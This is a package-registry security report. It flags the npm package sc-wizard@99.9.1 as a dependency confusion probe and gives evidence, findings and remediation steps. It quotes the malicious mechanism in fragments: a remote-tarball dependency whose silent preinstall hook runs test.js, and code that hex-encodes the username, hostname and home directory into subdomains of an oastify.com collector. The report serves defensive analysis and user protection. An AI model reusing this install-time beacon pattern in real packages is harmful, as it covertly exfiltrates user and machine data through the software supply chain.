registry / Data exfiltration / sc-wizard

sc-wizard

This report shows the evidence for sc-wizard@99.9.1, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The inspected source establishes an automatic install-time disclosure of identifying machine and user data to an unrelated collector. This meets the installation beacon block criterion.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing sc-wizard and running the remote dependency's preinstall hook.

Impact

The collector can receive identifying information about the machine and user during installation.

Mechanism

The hook hex-encodes the username, hostname, and home directory, then places each value in an HTTP request subdomain.

Attack narrative

Installing the package invokes the remote dependency’s preinstall hook, which runs test.js. That script hex-encodes the local username, hostname, and home directory and sends each value in an HTTP request to an OAST collector host, without a consent gate.

AI rationale

The inspected source establishes an automatic install-time disclosure of identifying machine and user data to an unrelated collector. This meets the installation beacon block criterion.

Evidence

package.json.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/package.json.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/test.js.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/index.js

Network endpoints1

<value>.sc-wizard.rc7soqb0rqslnc7mdopz0blqvh1kpadz.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package depends on a remote tarball whose preinstall hook runs test.js.
The hook collects the username, hostname, and home directory, hex-encodes them, and calls the reporting function for each value.
The reporting function places each value in an HTTP URL subdomain under an OAST collector host.
The dependency sends an HTTP GET request to that URL without a consent check.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

7 flagged

package.jsonView file

Lines 1-15json

2 "name": "sc-wizard",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.1.tgz"

High

Suspicious Lifecycle Evidence

The package depends on a remote tarball whose preinstall hook runs test.js.

package.jsonView on unpkg · L9

11 },

12 "author": "",

13 "license": "ISC"

14}

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/package.jsonView file

5"main": "index.js", "scripts": { "preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Err

High

Suspicious Lifecycle Evidence

The package depends on a remote tarball whose preinstall hook runs test.js.

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/package.jsonView on unpkg · L5

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/test.jsView file

25function stringToHex(str) { const buf = Buffer.from(str, 'utf8'); return buf.toString('hex'); } const hn = stringToHex(os.hostname()); const hd = stringToHex(os.homedir()); const un = stringToHex(os.userInfo().username); // const ut = os.uptime().toString(16); var localip=getIp('IPv4'); getNetwo

High

Ai Review Evidence

The hook collects the username, hostname, and home directory, hex-encodes them, and calls the reporting function for each value.

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/test.jsView on unpkg · L25

36var localip=getIp('IPv4'); getNetworkDownloadSpeedData(un); getNetworkDownloadSpeedData(hn); getNetworkDownloadSpeedData(hd); // getNetworkDownloadSpeedData(ut);

High

Ai Review Evidence

The hook collects the username, hostname, and home directory, hex-encodes them, and calls the reporting function for each value.

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/test.jsView on unpkg · L36

6async function getNetworkDownloadSpeedData(data) { const baseUrl = 'http://'+data+'.sc-wizard.[redacted].oastify.com'; const fileSizeInBytes = 500000; const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes); console.log(`Download Speed: ${JSON.stringify(

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/index.jsView file

40_protocol (url) { var u = new URL(url) return u.protocol === 'http:' ? http : https } checkDownloadSpeed(baseUrl, fileSizeInBytes) { this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes) let startTime; let protocol = this._protocol(baseUrl) return new Promise((resolve, _) => { return protocol.get(baseUrl, response => {

High

Suspicious Dependency Evidence

The dependency sends an HTTP GET request to that URL without a consent check.

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/index.jsView on unpkg · L40

Source & flagged code

7 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.1.tg

High

Suspicious Lifecycle Evidence

The package depends on a remote tarball whose preinstall hook runs test.js.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.1.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/package.jsonView file

5"main": "index.js", "scripts": { "preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Err

High

Findings

6 High1 Medium1 Low

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/package.json

HighAi Review Evidence.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/test.js

HighSuspicious Dependency Evidence.lpm-dependency-evidence-50a66d89-0ae0-4ff9-857d-6362a631566e/0/npm-linux/index.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to sc-wizard@99.9.1.

The versions list below shows the verdict for each recorded version.

Avoid installing sc-wizard@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-20 06:41:43.407Z (UTC).

Source advisory published: 2026-10-20 03:31:02.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.9.1latestshownMaliciousData ExfiltrationBlockPublishedOct 20, 2026, 3:25 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code